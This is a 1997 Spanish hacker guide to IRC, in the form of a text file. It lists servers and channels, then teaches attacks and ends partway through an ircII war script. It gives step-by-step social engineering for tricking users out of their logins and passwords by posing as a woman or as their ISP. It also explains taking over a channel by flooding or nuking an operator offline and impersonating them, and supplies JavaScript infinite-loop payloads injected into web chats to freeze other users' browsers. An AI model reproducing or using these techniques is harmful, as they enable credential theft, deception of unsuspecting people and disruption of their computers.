home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / documentos / guhirc.txt < prev    next >
Text File  |  1999-05-11  |  99KB  |  3,337 lines

  1.                                                                15 - 04 - 1997.
  2.                                                                    ??????
  3.  
  4.  
  5.                    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓                                                 
  6.                  ┌───────────────────────────────────────────┐▓▓
  7.                  │   La Guia Universal del Hacker en el IRC  │▓▓
  8.                  │         - J.J.F. / HACKERS TEAM -         │▓▓
  9.                  │                    V 1.0                  │▓▓
  10.                  └───────────────────────────────────────────┘
  11.  
  12.            
  13.   ╔════════════════════════════════════════════════════════════════════════╗
  14.   ║                           I M P O R T A N T E                          ║
  15.   ╚┬══════════════════════════════════════════════════════════════════════┬╝
  16.    │                                                                      │
  17.    │ Ni el autor de esta guia ni el grupo - J.J.F. / HACKERS TEAM - , se  │
  18.    │ hacen responsables de la utilizacion de las tecnicas aqui descritas .│ 
  19.    │ La informacion debe ser libre por eso se ha creado esta guia , para  │
  20.    │ cualquiera que desee conocer el underground del IRC .                │
  21.    │ No pretendemos incitar al vandalismo o al sabotaje , por lo que no   │
  22.    │ utilizes esta informacion para joder al projimo , ya que va encontra │
  23.    │ de la etica hacker , o sea que cuidado con lo que haces que el gran  │
  24.    │ hermano y sus perros te vigian , quedas avisado ;-)                  │
  25.    └──────────────────────────────────────────────────────────────────────┘
  26.  
  27.  
  28.  
  29. ──────────────────────────────────────────────────────────────────────────────
  30.  
  31.    - INDICE .
  32.  
  33.      1 - ¿ Que coño es esta guia ?
  34.      2 - ¿ Que es IRC ?
  35.      3 - Para poder enpezar con un programa IRC .
  36.      4 - Listado de servidores .
  37.      5 - Lista de canales mas interesantes .
  38.      6 - Hora de empezar : el arte de la Ingenieria social .
  39.      7 - Hacerse pasar por OP y obtenerlo .
  40.      8 - Bloquear un ordenador a traves de un WEB IRC .
  41.      9 - Como esconder mi verdadero nombre de usuario . 
  42.     10 - Completo script para uso personal : FooLZ.
  43.     11 - Un caballo de batalla : Link Looker .
  44.     12 - Nuestro propio BOT .
  45.     13 - Metiendo el .rhosts por el IRC .       
  46.     14 - Utilizacion de scripts .
  47.     15 - Informacion general .
  48.     16 - -J.J.F. / HACKERS TEAM - .
  49.  
  50. ──────────────────────────────────────────────────────────────────────────────
  51.  
  52.    1 - ¿ Que coño es esta quia ?
  53.  
  54.    Bueno , ahora que ya hemos dejado el tipico rollo de la presentacion , nos
  55.    dedicaremos a lo que interesa .
  56.    Si estas leyendo esto , es porque tienes los mismos interes que yo :) ,
  57.    claro que si , el HACKING , aunque por supuesto tengo otras mas que no
  58.    viene a cuento .
  59.    Esta guia prentende ser una ayuda a todo aquel hacker , que quiera hacer
  60.    sus pinitos en el IRC , aqui podras encontrar , desde ingeneria social (
  61.    que de paso nos podremos sacar unos passwords , je je je ) , pasando por
  62.    tecnicas avanzadas y utilizacion de scripts , que moviendote un poco
  63.    podras conseguir , pero no te preocupes te diremos donde !!!!
  64.    Lo mas seguro es que ya conozcas mucho de la informacion aqui descrita ,
  65.    ya que nos hemos dedicado a la recopilacion para tenerla todo juntito ,
  66.    si ya lo tienes todo pues por lo menos lo tendras ordenado en el mismo
  67.    fichero y si eres de aquellos que no lo tienes todo o solo conocias un
  68.    poco pues ya sabes ...
  69.    Pues espero que esto te pueda servir de ayuda y no me haya molestado en
  70.    balde recopilando informacion :)
  71.    Basta ya , que seguro que quieres empezar , si quieres saber algo de
  72.    nosotros nos encontraras al final del fichero P-)
  73.    Si no tiene ni idea de que es IRC entonces tendras que leer los primeros
  74.    capitulos aunque no se ha incluido la utilizacion de los comandos del
  75.    IRC ya que se sale de la idea de la guia y que se supone que ya sabes
  76.    utilizar el IRC , pero sino te consideras un LAMER , entonces salta
  77.    hasta la jugosa informacion ;-)
  78.  
  79. ──────────────────────────────────────────────────────────────────────────────
  80.  
  81.    2 - ¿ Que es IRC ?
  82.  
  83.    Las siglas de IRC corresponden a INTERNET REALY CHAT , que en nuestro
  84.    idioma se podia definir como "conversaciones en tiempo real en internet" .
  85.    Esto significa que cuando estamos en internet con un programa IRC , como
  86.    por ejemplo : mirc ( unos de los populares ) , pirch , jawer , virc y
  87.    otros muchos . Podemos conectar con servidores a lo largo de la red y
  88.    acceder a ellos para poder hablar con otros usuarios o hackers , entre
  89.    las miles de canales (ROOM) que disponen estos servidores , en canales
  90.    publicos , en donde puede haber decenas de usuarios conectados o en
  91.    canales privados para que "solo haya un repector y emisor" , si lo pongo
  92.    entre comillas sera por algo :) .
  93.    Por ejemplo estos servidores son irc.jet.es , irc.arrakis.es , muy
  94.    conocidos los dos en nuestro pais y canales seria #HACKERS , #SEXO ,
  95.    #ESPAÑA . Mas abajo encontras una lista de servidores y otra de canales
  96.    mas famosos .
  97.    Creo que ya sabes como va esto por lo que pasaremos a otro capitulo .
  98.  
  99. ──────────────────────────────────────────────────────────────────────────────
  100.    
  101.    3 - Para poder empezar con un programa IRC .
  102.  
  103.    En este capitulo de dire donde poder encontrar un programa IRC , para que
  104.    puedas empezar a conocer este fantastico mundo , pero no voy a enseñar
  105.    a utilizar ningun programa en concreto o como se utiliza un programa IRC
  106.    o su jerga en los canales , para eso tienes que esforzarte tu solito , un
  107.    buen consejo es siempre dirijirte al canal #beginer , donde te podran
  108.    ayudar a solventar tus dudas y problemas .
  109.    Para poder conseguir uno de estos programas , es muy facil , si quieres
  110.    siempre puedes comprar alguna de esas revistas sobre internet que
  111.    contienen un CD , seguro que habra un programa de esos , tambien estan ese
  112.    amigo que ya lleva conectado tiempo y seguro que te podra pasar uno , y
  113.    siempre como ultimo recurso estan internet y las BBS , donde facilmente
  114.    podras encontrar algo , buscando en algun motor de busqueda , escribiendo
  115.    IRC o algun nombre de algun programa arriba mencionado :)
  116.  
  117.    -> Motores de busqueda , ¡¡ por si no sabes ninguno !!
  118.       
  119.    . http://www.yahoo.com        En ingles 
  120.    . http://www.altavista.com    En ingles 
  121.    . http://www.ole.es           En español :)
  122.    . http://www.ozu.com          En español :)
  123.  
  124.    -> Direcciones de programas IRC .
  125.  
  126.    . http://www.mirc.co.uk             Programa muy bueno .
  127.    . http://www.megalith.co.uk/virc/   No esta mal , pero no mata .
  128.  
  129.    Bueno con esto ya podras empezar , ya que tampoco esperas que te lo haga
  130.    todo , verdad ?
  131.  
  132. ──────────────────────────────────────────────────────────────────────────────
  133.  
  134.    4 - Listado de servidores .
  135.  
  136.    Aqui te describo una lista de servidores donde podras conectar a lo largo
  137.    y ancho de la RED . Los separo en dos grupos , los primeros en español y
  138.    los segundos son en ingles aunque siempre podras encontrar canales de
  139.    lengua española en estos ultimos .
  140.    Para conectar a un servidor siempre se conecta por un puerto que va del
  141.    puerto 6667 al 6669 , tambien es posible que use el puerto 7000 , no
  142.    te preocupes los programas lo hacen esto por ti , pero siempre esta de
  143.    mas saberlo , ya que algunas veces debemos hacerlo manual para poder
  144.    conectar a un servidor ya que puede tener uno de sus puertos
  145.    con demasiado transito .
  146.    
  147.    -> Servidores españoles .
  148.  
  149.    irc.jet.es
  150.    irc.arrakis.es
  151.    irc.catalunya.es
  152.    irc.axis.inf
  153.    irc.cerf.net
  154.    irc.ctv.es
  155.    epix.irc.net
  156.    irc.teleline.es
  157.    irc.sitrantor.es   
  158.    irc.lleida.net     
  159.    irc.minorisa.es    
  160.    irc.conexis.es     
  161.    irc.catalunya.net
  162.    irc.develnet.es    
  163.    irc.infor.es       
  164.    irc.parser.es      
  165.    irc.encomix.es     
  166.    bbs.eui.upv.es     
  167.    irc.ibernet.es     
  168.    
  169.    -> Servidores extranjeros .
  170.  
  171.    Undernet : chicago.il.us.Undernet.org
  172.    Undernet : toronto.on.ca.undernet.org
  173.    Undernet : blacksburg.va.us.undernet.org
  174.    Undernet : pittsburgh.pa.us.undernet.org
  175.    EFNET : irc.neosoft.com
  176.    Random IceNet : irc.icenet.org
  177.    Random US Undernet : us.undernet.org
  178.    Undernet : lowell.ma.us.undernet.org
  179.    Random EFnet : irc.chat.org
  180.    Random DALnet : irc.dal.net
  181.    Random EU Undernet : eu.undernet.org
  182.    DALnet : armidale.DAL.net
  183.    DALnet : toronto.DAL.net
  184.    DALnet : xgw.DAL.net:
  185.    DALnet : hades.DAL.net
  186.    DALnet : liberator.DAL.net
  187.    DALnet : davis.DAL.net
  188.    DALnet : cyberverse.DAL.net
  189.    DALnet : voyager.DAL.net
  190.    DALnet : mindijari.DAL.net
  191.    DALnet : spider.DAL.net
  192.    DALnet : ohana.DAL.net
  193.    DALnet : cin.DAL.net
  194.    DALnet : Mystic.DAL.net
  195.    DALnet : skypoint.DAL.net
  196.    DALnet : kechara.ma.us.DAL.net
  197.    DALnet : nether.DAL.net
  198.    DALnet : stlouis.DAL.net
  199.    DALnet : toast.DAL.net
  200.    DALnet : uncc.DAL.net
  201.    DALnet : dreamscape.DAL.net
  202.    DALnet : taxi.DAL.net
  203.    DALnet : glass.DAL.net
  204.    DALnet : farside.DAL.net
  205.    DALnet : phoenix.DAL.net
  206.    DALnet : dragon.DAL.net
  207.    EFNET : irc.io.org
  208.    EFNET : magic.mb.ca
  209.    EFNET : irc02.irc.aol.com
  210.    EFNET : irc.primenet.com
  211.    EFNET : irc.blackened.com
  212.    EFNET : irc-2.kern.com
  213.    EFNET : irc.cris.com
  214.    EFNET : irc.cerf.net
  215.    EFNET : eff.org
  216.    EFNET : irc.colorado.edu
  217.    EFNET : opus.bridge.net
  218.    EFNET : irc.law.emory.edu
  219.    EFNET : irc.ais.net
  220.    EFNET : irc.mcs.net
  221.    EFNET : irc.mo.net
  222.    EFNET : irc2-1.netcom.com
  223.    EFNET : irc2-2.netcom.com
  224.    EFNET : irc2-3.netcom.com
  225.    EFNET : irc.ionet.net
  226.    EFNET : irc.epix.net
  227.    EFNET : irc.voicenet.com
  228.    EFNET : irc.pitt.edu
  229.    EFNET : irc.phoenix.net
  230.    EFNET : irc.texas.net
  231.    EFNET : irc.psinet.com
  232.    FEFnet : taos.arc.unm.edu
  233.    FEFnet : irc.liii.com
  234.    FEFnet : irc.limited.net
  235.    FEFnet : serine.cowly.uwlax.edu
  236.    Icenet : sydney.au.icenet.org
  237.    Icenet : zip.au.icenet.org
  238.    Icenet : acid.uk.icenet.org
  239.    Icenet : phat.us.icenet.org
  240.    Icenet : irc.us.icenet.org
  241.    IRCNet : speech.elec.uow.edu.au
  242.    IRCNet : irc.wu-wien.ac.at
  243.    IRCNet : irc.funet.fi
  244.    IRCNet : irc.pspt.fi
  245.    IRCNet : irc.univ-lyon1.fr
  246.    IRCNet : irc.isnet.is
  247.    IRCNet : irc.ccii.unipi.it
  248.    IRCNet : irc.xs4all.nl
  249.    IRCNet : irc.sci.kun.nl
  250.    IRCNet : irc.ludd.luth.se
  251.    IRCNet : chat.btinternet.com
  252.    IRCNet : irc.demon.co.uk
  253.    IRCNet : stork.doc.ic.ac.uk
  254.    IRCNet : irc.netcom.net.uk
  255.    NewNet : irc.netbistro.com
  256.    NewNet : irc.aohell.org
  257.    NewNet : irc.dresden.com
  258.    NewNet : irc.primary.net
  259.    NewNet : irc.eskimo.com
  260.    StarLink : Aspen.CO.US.StarLink.Org
  261.    StarLink : Rochester.MI.US.StarLink.Org
  262.    StarLink : Cinci.OH.US.StarLink.Org
  263.    Undernet : montreal.qu.ca.undernet.org
  264.    Undernet : vancouver.bc.ca.undernet.org
  265.    Undernet : luxembourg.lu.eu.undernet.org
  266.    Undernet : amsterdam.nl.eu.undernet.org
  267.    Undernet : diemen.nl.eu.undernet.org
  268.    Undernet : lulea.se.eu.undernet.org
  269.    Undernet : london.uk.eu.undernet.org
  270.    Undernet : auckland.nz.undernet.org
  271.    Undernet : phoenix.az.us.undernet.org
  272.    Undernet : sandiego.ca.us.undernet.org
  273.    Undernet : atlanta.ga.us.undernet.org
  274.    Undernet : manhattan.ks.us.undernet.org
  275.    Undernet : ann-arbor.mi.us.undernet.org
  276.    Undernet : springfield.mo.us.undernet.org
  277.    Undernet : stlouis.mo.us.undernet.org
  278.    Undernet : dallas.tx.us.undernet.org
  279.    Undernet : washington-r.dc.us.undernet.org
  280.  
  281.    Todavia quedan muchos servidores , como por ejemplo españoles pero tampoco
  282.    este vez lo hare todo , je je je .
  283.  
  284. ──────────────────────────────────────────────────────────────────────────────
  285.  
  286.    5 - Lista de canales mas interesantes .
  287.  
  288.    Aqui pongo una serie de canales que yo considero como los mas interesantes
  289.    para los hackers .
  290.    Aunque como hay muchos eso depende de cada uno , por desgracia 
  291.    los servidores extranjeros son los que mas canales ofrecen aunque les sera
  292.    dicifil para aquellos que no sepan ingles .
  293.    Esta vez no hare distincion entre los servidores por lo que puede haber
  294.    canales de servidores españoles y extranjeros mezclados .
  295.    Tambien decir que hay muchos mas que pueden ser interesantes , solo hay
  296.    que buscarlos :)
  297.  
  298.    -> Listado de canales .
  299.  
  300.    #2600
  301.    #cellular
  302.    #hack
  303.    #phreak
  304.    #linux
  305.    #realhack
  306.    #root
  307.    #unix
  308.    #warez
  309.    #hackers
  310.    #hackers_novatos
  311.    #hack_novatos
  312.    #666
  313.    #virus
  314.  
  315. ──────────────────────────────────────────────────────────────────────────────
  316.  
  317.    6 - Hora de empezar : el arte de la Ingenieria social .
  318.  
  319.    Se llama ingenieria social , a una rama del hacking que consiste en
  320.    hacernos pasar por otra persona y que este LAMER nos diga lo que
  321.    queremos saber , como por ejemplo su login y password , asi ya
  322.    tendremos su cuenta para lo que querramos o le pedimos lo que se
  323.    nos ocurra , esto es de libre eleccion .
  324.    Esto que parece una tonteria , es una rama dificil de hacking ya
  325.    que no se puede hacer a la ligera , hay que seguir unas medidas para
  326.    conseguir nuestros propositos .
  327.  
  328.    -> Consejos para utilizar la ingenieria social .
  329.  
  330.    . Parecer seguro y con autoridad de lo que se dice , ya que si vacilamos  
  331.      perderemos confianza del LAMER .
  332.    . Comenzar en canales faciles donde la gente no sepa mucho de esto ,
  333.      como por ejemplo #beginer , donde les podemos pegar el timo , tambien
  334.      en canales donde algun listillo por chulo nos diga lo que queremos
  335.      saber , cuando ya tengamos cierta experencia podemos pasar a canales
  336.      mas dificiles .
  337.    . A veces habra que trabajar durante varios dias para que nos cojan
  338.      cierta confianza :)
  339.    . Tambien pasarnos como una chica o un Lamer para que alquien nos ayude
  340.      y nos explice como funcina esto de internet , suele dar resultado .
  341.    . Procurar no decir que viviis cerca ya que te podia decir que te da su
  342.      password en persona o podria proponer quedar un dia en un cafe ,
  343.      entonces ya se lia .
  344.   
  345.   Conviene seguir estas medidas para nuestra seguridad y no seanos pillados
  346.   en accion .
  347.   Que nos hagamos pasar por una chica o un lamer es mas facil que un "op" ,
  348.   ya que en principio no seremos operadores del canal .
  349.  
  350.   -> Explicaremos el caso de ser chica , je je je
  351.  
  352.   Entramos en un canal de contactos , sexo o territoriales , con el nombre
  353.   de CAROL, MARTA , MARIA , etc ... Mejor que sea un nombre de chica y no
  354.   una cosa sugerente , aunque si no lo haces procura que llame la atencion
  355.   y se crean que eres una chica .
  356.   Ya estamos en uno de estos y nos ponemos en contacto con alguno del canal ,
  357.   preferiblemente un chico , en algunos canales ellos se pondran en contacto
  358.   con nosotros al momento :)
  359.   Comenzamos a hablar con uno , sera dificil que la primera vez que hablamos
  360.   con el LAMER nos de el password , pero nada es imposible para los hackers ,
  361.   por esta razon sera conveniente que hablemos con el varios dias . Tendremos
  362.   que inventar una ficha creible para "nuestra chica" y contarsela para que
  363.   nos coja cariño .
  364.   Por ejemplo , le podimos decir que eres nueva en internet y no sabes como
  365.   funciona exactamente y te parece dificil y te explique como lo hace el
  366.   para conectarse con su proveedor haber si por casualidad nos dice su
  367.   login y su password para conectarse .
  368.   Otra cosa que le podemos decir es que la conexion es de nuestro hermano o
  369.   algo por el estilo , y que solo la tenia por un mes y que ya se acaba el
  370.   plazo y no la va a renovar , asi que haber si consigues que el LAMER nos
  371.   ceda su login y su password para poder quedar con el en internet , porque
  372.   te encanta hablar con el .
  373.  
  374.   Aqui te he dado un ejemplo , pero como este hay miles solo tenemos que
  375.   pensar en algun personaje que nos pueda proporcionar frutos , por el
  376.   esfuerzo .
  377.   Aunque aqui no viene a cuento , esta tecnica se puede aplicar al telefono
  378.   diciendo que eres el proveedor y que tiene que darte su password porque
  379.   habeis tenido probemas con los ordenadores o cualquier historia creible .
  380.   El unico inconveniente es que conoceran nuestra voz , cosa que en el IRC
  381.   no podran .
  382.  
  383. ──────────────────────────────────────────────────────────────────────────────
  384.  
  385.   7 - Hacerse pasar por OP y obtenerlo .
  386.  
  387.   Aqui explicaremos una tecnica que consiste en una combinacion de script e
  388.   ingenieria social ;-)
  389.   Para comenzar necesitamos disponer de un nuke o un flood , para hacer caer
  390.   del servidor a nuestra presa , je je je . Este tipo de programas los
  391.   podemos encontrar en varios script .
  392.  
  393.   -> Lo que necesitamos .
  394.  
  395.   . El mirc 
  396.   . un script ( 7th sphere , Gangsta-G , etc ...)
  397.   . un poco de picardia XDDD
  398.  
  399.   Desgraciamente en nuestros dias , ya casi no se puede tirar a nadie
  400.   mediante flood por lo que aconsejo un nuke o otra "utilidad" para nuestra
  401.   finalidad .
  402.   Bueno finalmente ya estamos equipados para la "incursion" y ha ello vamos
  403.   , por lo que primero entramos al servidor que nos interese , luego claro
  404.   esta escojemos un canal , entramos en el y miramos a los OP , procurar que
  405.   sean tontos , elegimos una victima que sea OP , le atacamos con el flood
  406.   o el nuke o alguna otra herramienta que sirva .
  407.   Si conseguimos nuestro obejetivo y el OP cae del servidor , entonces
  408.   felicidades :) , ahora solo nos queda salir del canal , cambiar nuestro
  409.   nick ( como te llames en el servidor ) por el suyo y volver al canal
  410.   de antes , diciendo : "joder , me han tirado . Devolverme OP , plz ."
  411.   Si algun OP tonto cae en la trampa y nos da el OP , entonces el canal
  412.   es nuestro , elegimos la opcion "mass-de-op" de nuestro script y sino
  413.   manualmente y quitamos a todos los demas OP y el canal sera nuestro
  414.   y podemos hacer lo que nos apetezca :))
  415.   Si fallamos lo unico que haremos es crearnos enemigos , por lo que no
  416.   hagais esto con vuestro nick habitual , hasta que no este seguro de
  417.   ti mismo .
  418.   Provando esta tecnica al principio puede ser dificil , por lo que
  419.   recomiendo que hagas algunas pruebas con algun colega y cuando ya
  420.   este listo , ajustale las cuentas a ese OP que es un vacilon ;-)
  421.  
  422. ──────────────────────────────────────────────────────────────────────────────  
  423.  
  424.   8 - Bloquear un ordenador a traves de un WEB IRC .
  425.  
  426.   En este capitulo de nuestra querida guia explicaremos una tecnica , que
  427.   consiste en bloquear un ordenador a traves de un WEB IRC , que no sabias
  428.   que a traves del WEB se puede hablar , en que mundo vives :)
  429.   Para esto lo unico que tenemos que hacer es crear un pequeño script en
  430.   JavaScript y ya esta . 
  431.   Aqui te pongo dos , pero que los dos tinen la misma finalidad , je je je
  432.  
  433.   -> Los Scripts .
  434.  
  435.   . <script language=javascript> for(i=1; i<2;){ alert("texto") }</script>
  436.   . <script language=javascript>a=1; for(i=1; i<2;){a=a+1}</script>
  437.  
  438.   No voy a explicar los script ya que son muy faciles de entender , aunque
  439.   en el primero donde pone "texto" lo podemos cambiar por lo que queramos .
  440.   Tenemos que decir que estos script no siempre funcionan , debido al CGI
  441.   que utilizen , para saber si los podemos utilizar basta que escribamos
  442.   "<" y sino sale o sale otra cosa , entonces desgraciadamente no los
  443.   podremos utilizar :( y no se te ocurra ejecutarlo .
  444.   Para comenzar escribimos alguno de los script y le damos al boton de
  445.   enviar por lo que se enviara a todos del canal a no ser que se lo
  446.   enviemos a uno en particular . Desgraciadmente de las dos formas
  447.   nosotros tambien seremos atacados por nuestro script , pero
  448.   podemos pararlo aunque es un poco dificil .
  449.   Para ello hay varias formas , la primera seria vigilar el Trumpet para
  450.   saber cuando nuestra señal es enviada , un poco dificil sino se conoce
  451.   el Trumpet , sino sabes lo que es esto pues olvida este forma :) , otra
  452.   seria pulsar el boton de enviar como antes y la pantalla se quedara en
  453.   blanco y acto seguido pulsar el boton de stop .
  454.   Tambien podemos tener dos WEB cargados , uno en el canal y otro no
  455.   y cuando el del canal se bloquee pues lo cerramos y entramos con el
  456.   otro al canal y nos reimos un rato del personal XDDDD
  457.   Y seguro que ya se te ocurrian mas formas para detener tu script .
  458.  
  459. ──────────────────────────────────────────────────────────────────────────────  
  460.  
  461.   9 - Como esconder mi verdadero nombre de usuario .
  462.  
  463.   Interesante tecnica pero lo malo es que solo se puede utilizar para
  464.   aquellos que se muevan en el mundo unix ;-)
  465.   Basicamente consiste en tener el codigo fuente de nuestro cliente
  466.   de IRC y le cambianos las rutinas en C , para que esconda nuestros
  467.   datos , je je je
  468.   
  469.   -> Para obtener el codigo fuente del cliente IRC por FTP .
  470.  
  471.   .  cs.bu.edu /irc/clients.
  472.  
  473.   Cuando ya nos hemos bajado el cliente miramos los siguientes ficheros
  474.   en codigo C , irc.c y ctcp.c . Entonces le cambianos en el irc.c el
  475.   nombre de usuario y en el ctcp.c la informacion ctcp y solo nos queda
  476.   compilarlo :)
  477.   Aqui doy un pequeño ejemplo de como quedaria esta pequeña operacion ,
  478.   aunque claro que esta en ingles , pero no pasa nada para aquellos que
  479.   no sepan ya que solo hay que copiar :-)
  480.  
  481.   -> El codigo fuente modificado del cliente IRC .
  482.  
  483.   *** ctcp.c  Sin modificar . 
  484.   --- ctcp.c  Modificado .    
  485.  
  486.   ***************
  487.   *** 331,337 ****
  488.          struct  passwd  *pwd;
  489.          long    diff;
  490.          int     uid;
  491.   !      char    c;
  492.   
  493.          /*
  494.           * sojge complained that ircII says 'idle 1 seconds'
  495.   --- 331,337 ----
  496.          struct  passwd  *pwd;
  497.          long    diff;
  498.          int     uid;
  499.   !      char    c, *fing;
  500.   
  501.          /*
  502.           * sojge complained that ircII says 'idle 1 seconds'
  503.   ***************
  504.   *** 348,354 ****
  505.          if (uid != DAEMON_UID)
  506.          {
  507.     #endif /* DAEMON_UID */ 
  508.   !               if (pwd = getpwuid(uid))
  509.                   {
  510.               char    *tmp;
  511.   
  512.   --- 348,356 ----
  513.          if (uid != DAEMON_UID)
  514.          {
  515.     #endif /* DAEMON_UID */ 
  516.   !               if (fing = getenv("IRCFINGER"))
  517.   !                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
  518.   !               else if (pwd = getpwuid(uid))
  519.                  {
  520.                          char    *tmp;
  521.  
  522.  
  523.   *** irc.c  Sin modificar .   
  524.   --- irc.c  Modificado .     
  525.  
  526.   ***************
  527.   *** 510,516 ****
  528.                  malloc_strcpy(&my_path, "/");
  529.          if (*realname == null(char))
  530.                  strmcpy(realname, "*Unknown*", REALNAME_LEN);
  531.   !       if (*username == null(char))
  532.           {
  533.                  if (ptr = getenv("USER"))
  534.               strmcpy(username, ptr, NAME_LEN);
  535.   --- 510,518 ----
  536.                  malloc_strcpy(&my_path, "/");
  537.          if (*realname == null(char))
  538.                  strmcpy(realname, "*Unknown*", REALNAME_LEN);
  539.   !       if (ptr = getenv("IRCUSER"))
  540.   !               strmcpy(username, ptr, NAME_LEN);
  541.   !       else if (*username == null(char))
  542.          {
  543.                  if (ptr = getenv("USER"))
  544.                          strmcpy(username, ptr, NAME_LEN);
  545.  
  546.   Es bastante facil de entender por lo que no creo neceario tener que
  547.   explicar el codigo , sino lo entiendes porque no programas en C pues
  548.   ya sabes comprate un buen libro o preguntale a ese amigo tuyo que
  549.   si que sabe , por cierto saber C es algo necesario en este mundo :)
  550.  
  551. ──────────────────────────────────────────────────────────────────────────────  
  552.  
  553.   10 - Un completo script para uso personal : FooLZ.
  554.  
  555.   Joer no te quejaras porque viene un script entero por lo que podras
  556.   entender como se hace y crear tus propias variantes , je je je
  557.   Como suele ocurrir el script esta en ingles aunque esta bastante
  558.   completito y nos dara una base para poder desarrollar nuestras
  559.   mejoras .
  560.  
  561.   -> El script .
  562.  
  563.   ECHO [FooLZ] Loading...
  564.  
  565.   # oH-KaY SKRiPT RaPeRz, HeRe'Z ANoTHeR oNE FoR YoU To RaPe.
  566.   # MoST oF THe iDEaZ iN FooLZ aRE NoT oRIGiNAl, aND sOME oF THe
  567.   # RoUTiNES CoME FRoM DETURBO aNd TextBox. 
  568.   # THe /away LoGGiNG aND aUTo-Op-iNG iDEaZ eYE GoT FRoM TooLZ aND iNFiNiTY,
  569.   # HoWEvEr aLL THe k0D3 iS oRiGiNAL (eYE SToLE THe iDEA, BuT NoT THe k0d3)
  570.   # SoME oF THe THiNGS THaT WoUlD Be oF MoST iNTEReST To SKRiPT RaPeRZ iS
  571.   # THe ISONCHAN() RoUTiNE aND THe K-KiCK CoMMAND, aS eYE HaVE NoT SeeN ThEM
  572.   # iN ANy oTHER SKrIPtZ. THe SPlATTeR KiCK PRoTEcTiON I SToLE oF CRyPT KeePER,
  573.   # eYE DuNNO iF He'S PuT iT iN TextBox YeT, BuT iT iS HiS iDEa
  574.  
  575.   # NOTEZ: iTZ KiNDA BuGGY.. eYE DoN'T THiNK The MaSS-DE-aWP PRoTeCTiON WoRX,
  576.   # aND BeCaUSE oF THe HeAVY uSE oF ISCHANOP(), DE-SyNC'S WiLL MaKE FooLZ aCT
  577.   # WiERD.
  578.  
  579.   ^ASSIGN FOOLZVER .31337
  580.   ^ASSIGN FOOLZRELEASE 1.0
  581.   ^ASSIGN MSG_BRACE_1 [
  582.   ^ASSIGN MSG_BRACE_2 ]
  583.   ^ASSIGN BOLD 
  584.   ^ASSIGN UNDER 
  585.   ^ASSIGN HIGHL 
  586.   ^ASSIGN ENVBRITE ON
  587.   ^ASSIGN WARMODE OFF
  588.   ^ASSIGN SNOOP_MODE ON
  589.   ^ASSIGN -AUTOOP
  590.   ^ASSIGN -IS_AWAY
  591.   ^ASSIGN -FOOLZ_INFO
  592.  
  593.   EVAL SET CLIENT_INFORMATION FooLZ $FOOLZVER BeTa
  594.   SET STATUS_USER FooLZ
  595.   SET NOVICE OFF
  596.   SET EXEC_PROTECTION OFF
  597.   SET HIGHLIGHT_CHAR BOLD
  598.   SET -STATUS_MAIL
  599.   SET MAIL 1
  600.   SET STATUS_FORMAT %T %*%@%N%#%S%H%B%Q%A%C%+%I%O%F %W%>%U%M%X%Y%Z 
  601.   SET INDENT ON
  602.   SET SHOW_AWAY_ONCE ON
  603.   SET SEND_IGNORE_MSG OFF
  604.   SET HIDE_PRIVATE_CHANNELS OFF
  605.   SET HOLD_MODE OFF
  606.  
  607.   BIND ^[ PARSE_COMMAND ^GETMSG $MSGLIST
  608.   BIND ^A SELF_INSERT
  609.   BIND ^B SELF_INSERT
  610.   BIND ^_ SELF_INSERT
  611.   BIND ^V SELF_INSERT
  612.   BIND ^Z STOP_IRC
  613.  
  614.   # The BoW script library
  615.    ALIAS SHOW_USAGE {
  616.     ECHO [FooLZ] Don't be a FooL. usage: $0-
  617.   }
  618.  
  619.   ALIAS NOT_OPPED {
  620.     ECHO [FooLZ] FooL!!! You must be opped to $0-
  621.   }
  622.  
  623.   # usage: OP_BEGGER <nick> [channel] [comments]
  624.    ALIAS OP_BEGGER {
  625.     ^ASSIGN OBMSG [FooLZ] aUTo KiCK FoR aWP BeGGeRzZ
  626.     ^ASSIGN OKMSG [FooLZ aWP BeGGeR KiCK]
  627.     ^ASSIGN OPTMSG [FooLZ] oP BeGGeR TaRGeTeD
  628.     IF ([$2]) {
  629.        IF (ISCHANOP($N $1)) {
  630.           ECHO $OPTMSG - $0 : $2-
  631.          KICK $1 $0 $OKMSG
  632.          NOTICE $0 $OBMSG
  633.       }
  634.    } {
  635.       IF (ISCHANOP($N $C)) {
  636.          ECHO $OPTMSG - $0
  637.          KICK $C $0 $OKMSG
  638.          NOTICE $0 $OBMSG
  639.       }
  640.    }
  641.    ^ASSIGN -OBMSG
  642.    ^ASSIGN -OKMSG
  643.    ^ASSIGN -OPTMSG
  644.   }
  645.  
  646.   ALIAS GET_MAH_INFO {
  647.    USERHOST $N -CMD ^ASSIGN FOOLZ_INFO $$0!$$3@$$4
  648.   }
  649.  
  650.   # usage: BAN_THIS_BITCH <nick> <channel> <userhost>
  651.    ALIAS BAN_THIS_BITCH {
  652.     IF (ISCHANOP($N $1)) {
  653.       MODE $1 -o-b $0 $2
  654.       NOTICE $0 [FooLZ] BaN PRoTeCTiON aCTiVaTED - PHeAR BoW
  655.    }
  656.   }
  657.  
  658.   # usage: ISONCHAN(<nick> <channel>)
  659.    ALIAS ISONCHAN {
  660.     ^ASSIGN PERSON $0
  661.     ^ASSIGN APERSON @$0
  662.     ^ASSIGN -CHANLIST 
  663.     ^ASSIGN MYRC 0
  664.     ^ON -NAMES * {
  665.       ^ASSIGN CHANLIST $1-
  666.       IF (MATCH($PERSON $CHANLIST)) { 
  667.         ^ASSIGN MYRC 1
  668.       }
  669.       IF (MATCH($APERSON $CHANLIST)) {
  670.         ^ASSIGN MYRC 1
  671.       }
  672.    }
  673.    ^SET DISPLAY OFF
  674.    ^NAMES $1
  675.    WAIT
  676.    ^SET DISPLAY ON
  677.    ^ASSIGN FUNCTION_RETURN $MYRC
  678.    ^ASSIGN -MYRC
  679.    ^ASSIGN -PERSON
  680.    ^ASSIGN -CHANLIST 
  681.   }
  682.  
  683.   # usage: ISNICK(<nick>)
  684.    ALIAS ISNICK {
  685.     @ FUNCTION_RETURN = 0
  686.      IF ([$0]) {
  687.       USERHOST $0 -CMD IF ([$3]) {
  688.          IF ([$4] != [<UNKNOWN>]) {
  689.             @ FUNCTION_RETURN = 1
  690.          }
  691.       }
  692.       WAIT
  693.     }
  694.   }
  695.  
  696.   # usage: REAL_MODE <person> <channel> <mode change>
  697.    ALIAS REAL_MODE {
  698.     ECHO *** Mode change "$2-" on channel $1 by $0
  699.   }
  700.  
